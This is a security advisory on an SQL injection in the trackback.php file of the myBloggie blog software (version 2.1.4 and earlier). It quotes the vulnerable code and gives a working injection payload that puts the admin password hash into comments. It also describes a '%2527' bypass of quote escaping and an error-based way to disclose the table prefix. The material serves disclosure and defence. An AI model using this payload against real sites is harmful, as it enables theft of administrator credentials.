  myBlogger trackback SQL Injection
------------------------------------------------------------------------


SUMMARY

 <http://mybloggie.mywebland.com/> myBloggie is "considered one of the 
most simple, user-friendliest yet packed with features Weblog system 
available to date". A vulnerability in myBloggie allows remote attackers 
to cause an SQL injection in the product, which in turn can be used to 
disclose the administrative password (HASH).

DETAILS

Vulnerable Systems:
 * MyBloggie version 2.1.4 and prior

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?

  vulnerable code in trackback.php:

$title=urldecode(substr($_REQUEST['title'],0,$tb_title_len));
}
else { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : 
No title</p>"); }

if(!empty($_REQUEST['url'])) {
$url=urldecode($_REQUEST['url']);

if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry, 
Trackback failed.. Reason : URL not valid</p>"); }
}

$sql = "INSERT INTO ".COMMENT_TBL." SET post_id='$tb_id', 
comment_subject='$title', comments='$excerpt', com_tstamp='$timestamp' ,
              poster = '$blog_name', home='$url', 
comment_type='trackback'";

$result = $db->sql_query($sql) or die("Cannot query the database.<br>" . 
mysql_error());
..

you have sql injection in 'title', 'url', 'excerpt' and 'blog_name' 
argument
with MySQL >= 4.1 that allows SELECT subqueries for INSERT...

so you can insert admin username & password hash inside comments and you 
will see them at screen
also arguments are passed to urldecode(), so you can bypass 
magic_quotes_gpc
with '%2527' sequence for the single quote char
adn you can disclose table prefix going to:

http://192.168.1.3/mybloggie/index.php?mode=viewdate

you will have an error that disloses a query fragment

-

ex., injecting code in 'title' argument, query becomes:

INSERT INTO mb_comment SET post_id='1', 
comment_subject='hi',comments=(SELECT CONCAT('<!--',password,'-->')FROM 
mb_user)/*', comments='whatever', com_tstamp='1154799697' ,
poster = 'whatever', home='http://www.suntzu.org', 
comment_type='trackback'
